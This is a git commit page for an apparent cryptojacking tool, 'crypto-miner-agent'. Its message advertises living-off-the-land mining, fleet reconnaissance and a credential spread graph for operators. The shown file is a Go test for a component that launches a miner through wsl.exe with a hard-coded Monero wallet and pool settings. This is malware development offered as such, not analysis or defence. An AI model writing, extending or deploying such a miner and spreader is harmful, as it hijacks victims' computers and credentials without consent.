Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -0,0 +1,64 @@
package miner
import (
"os/exec"
"runtime"
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestWSLLauncherStartUsesWslExe(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("WSL launcher tests require windows")
}
var gotCLI string
var gotArgs []string
SetWSLExecCommand(func(name string, args ...string) *exec.Cmd {
gotCLI = name
gotArgs = append([]string(nil), args...)
if len(args) >= 4 && args[3] == "systemctl" {
return exec.Command("cmd", "/c", "exit 1")
}
return exec.Command("ping", "-n", "2", "127.0.0.1")
})
defer SetWSLExecCommand(nil)
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
Wallet: "89QUKeqsKEGfP9Vpiph8jEXc3YyVFN5dKeYdMFVraVG4SGU3jAprbBp9AgRutKxzPSdQQMp9EGeG7Wmh8NRfniiaMMYpmC3",
WorkerName: "wsl-worker",
PoolHost: "pool.example.com",
PoolPort: 3333,
},
}
wslRT := WSLRuntimeInfo{Available: true, CLI: "wsl.exe", Distros: []string{"Ubuntu"}}
launcher, err := NewWSLLauncher(cfg, wslRT)
if err != nil {
t.Fatalf("NewWSLLauncher: %v", err)
}
if err := launcher.Start(); err != nil {
t.Fatalf("Start: %v", err)
}
defer launcher.Stop()
if gotCLI != "wsl.exe" {
t.Fatalf("CLI=%q want wsl.exe", gotCLI)
}
if !strings.Contains(strings.Join(gotArgs, " "), "AETHERFORGE_WALLET=") {
t.Fatalf("expected wallet env in wsl command, args=%v", gotArgs)
}
if !launcher.Running() {
t.Fatal("Running() false after Start")
}
}
func TestNewWSLLauncherUnavailable(t *testing.T) {
_, err := NewWSLLauncher(config.RuntimeConfig{}, WSLRuntimeInfo{})
if err == nil {
t.Fatal("expected error without WSL")
}
}